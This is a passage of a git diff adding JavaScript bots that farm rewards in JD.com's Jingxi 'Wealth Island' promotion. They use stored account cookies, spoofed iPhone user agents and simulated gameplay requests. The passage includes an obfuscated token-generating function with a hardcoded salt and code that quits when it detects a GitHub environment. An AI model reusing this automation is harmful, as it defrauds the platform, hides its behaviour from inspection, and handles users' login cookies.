vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_fresh.js b/jd_cfd_fresh.js new file mode 100644 index 0000000..6431404 --- /dev/null +++ b/jd_cfd_fresh.js @@ -0,0 +1,885 @@ +/* +京喜财富岛合成生鲜 +cron 45 * * * * jd_cfd_fresh.js +更新时间:2021-9-11 +活动入口:微信京喜-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛合成生鲜 +45 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js, tag=京喜财富岛合成生鲜, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "45 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js,tag=京喜财富岛合成生鲜 + +===============Surge================= +京喜财富岛合成生鲜 = type=cron,cronexp="45 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js + +============小火箭========= +京喜财富岛合成生鲜 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_fresh.js, cronexpr="45 * * * *", timeout=3600, enable=true + */ +const $ = new Env("京喜财富岛合成生鲜"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = ''; +let UA, UAInfo = {}; +let nowTimes; +const randomCount = $.isNode() ? 20 : 3; +$.appId = 10032; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.allTask = [] + $.info = {} + token = await getJxToken() + await cfd(); + await $.wait(2000); + } + } + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + let beginInfo = await getUserInfo(); + if (beginInfo.LeadInfo.dwLeadType === 2) { + console.log(`还未开通活动,尝试初始化`) + await noviceTask() + await $.wait(2000) + beginInfo = await getUserInfo(false); + if (beginInfo.LeadInfo.dwLeadType !== 2) { + console.log(`初始化成功\n`) + } else { + console.log(`初始化失败\n`) + return + } + } + + //抽奖 + await $.wait(2000) + await composePearlState(4) + + + //合成生鲜 + let count = $.isNode() ? (process.env.JD_CFD_RUNNUM ? process.env.JD_CFD_RUNNUM * 1 : Math.floor((Math.random() * 2)) + 3) : ($.getdata('JD_CFD_RUNNUM') ? $.getdata('JD_CFD_RUNNUM') * 1 : Math.floor((Math.random() * 2)) + 3); + console.log(`\n合成生鲜`) + console.log(`合成生鲜运行次数为:${count}\n`) + let num = 0 + do { + await $.wait(2000) + await composePearlState(3) + num++ + } while (!$.stop && num < count) + + } catch (e) { + $.logErr(e) + } +} + +// 合成生鲜 +async function composePearlState(type) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/ComposePinPinPearlState`, `__t=${Date.now()}&dwGetType=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlState API请求失败,请检查网路重试`) + } else { + switch (type) { + case 1: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + break + case 2: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`领助力奖励`) + if (data.iRet === 0) { + let helpNum = [] + for (let key of Object.keys(data.helpInfo.HelpList)) { + let vo = data.helpInfo.HelpList[key] + if (vo.dwStatus !== 1 && vo.dwIsHasAward === 1 && vo.dwIsHelp === 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await pearlHelpDraw(data.ddwSeasonStartTm, helpNum[j]) + await $.wait(2000) + data = await composePearlState(1) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + break + case 3: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`当前已合成${data.dwCurProgress}颗生鲜,总计获得${data.ddwVirHb }个金豆子`) + if (data.strDT) { + // let num = Math.ceil(Math.random() * 12 + 12) + let num = data.PearlList.length + let div = Math.ceil(Math.random() * 4 + 2) + console.log(`合成生鲜:模拟操作${num}次`) + for (let v = 0; v < num; v++) { + console.log(`模拟操作进度:${v + 1}/${num}`) + let beacon = data.PearlList[0] + data.PearlList.shift() + let beaconType = beacon.type + if (v % div === 0){ + await realTmReport(data.strMyShareId) + await $.wait(5000) + } + if (beacon.rbf) { + let size = 1 + // for (let key of Object.keys(data.PearlList)) { + // let vo = data.PearlList[key] + // if (vo.rbf && vo.type === beaconType) { + // data.PearlList.splice(key, 1) + // size = 2 + // vo.rbf = 0 + // break + // } + // } + await composePearlAward(data.strDT, beaconType, size) + } + } + let strLT = data.oPT[data.ddwCurTime % data.oPT.length] + let res = await composePearlAddProcess(data.strDT, strLT) + if (res.iRet === 0) { + console.log(`\n合成生鲜成功:获得${res.ddwAwardHb }个金豆子\n`) + if (res.ddwAwardHb === 0) { + $.stop = true + console.log(`合成生鲜没有奖励,停止运行\n`) + } + } else { + console.log(`\n合成生鲜失败:${res.sErrMsg}\n`) + } + } else { + console.log(`今日已完成\n`) + } + } + break + case 4: + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`每日抽奖`) + if (data.iRet === 0) { + if (data.dayDrawInfo.dwIsDraw === 0) { + let strToken = (await getPearlDailyReward()).strToken + await $.wait(2000) + await pearlDailyDraw(data.ddwSeasonStartTm, strToken) + } else { + console.log(`无抽奖次数\n`) + } + } + default: + break; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function realTmReport(strMyShareId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/RealTmReport`, `__t=${Date.now()}&dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=10`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function composePearlAddProcess(strDT, strLT) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposePearlAddProcess`, `strBT=${strDT}&strLT=${strLT}&dwIsPP=1`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlAddProcess API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getPearlDailyReward() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPpPearlDailyReward`, `__t=${Date.now()}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PpPearlDailyDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function pearlDailyDraw(ddwSeasonStartTm, strToken) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PpPearlDailyDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&strToken=${strToken}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PearlDailyDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`抽奖成功:获得${data.strPrizeName || JSON.stringify(data)}\n`) + } else { + console.log(`抽奖失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function composePearlAward(strDT, type, size) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposePearlAward`, `__t=${Date.now()}&type=${type}&size=${size}&strBT=${strDT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`模拟操作中奖:获得${data.ddwAwardHb }个金豆子,总计获得${data.ddwVirHb }个金豆子`) + } else { + console.log(`模拟操作未中奖:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 助力奖励 +function pearlHelpDraw(ddwSeasonStartTm, dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlHelpDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PearlHelpDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`领取助力奖励成功:获得${data.StagePrizeInfo.ddwAwardHb }个金豆子,总计获得${data.StagePrizeInfo.ddwVirHb }个金豆子`) + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PpPearlHelpByStage`, `__t=${Date.now()}&strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功`) + } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号已黑`) + $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + 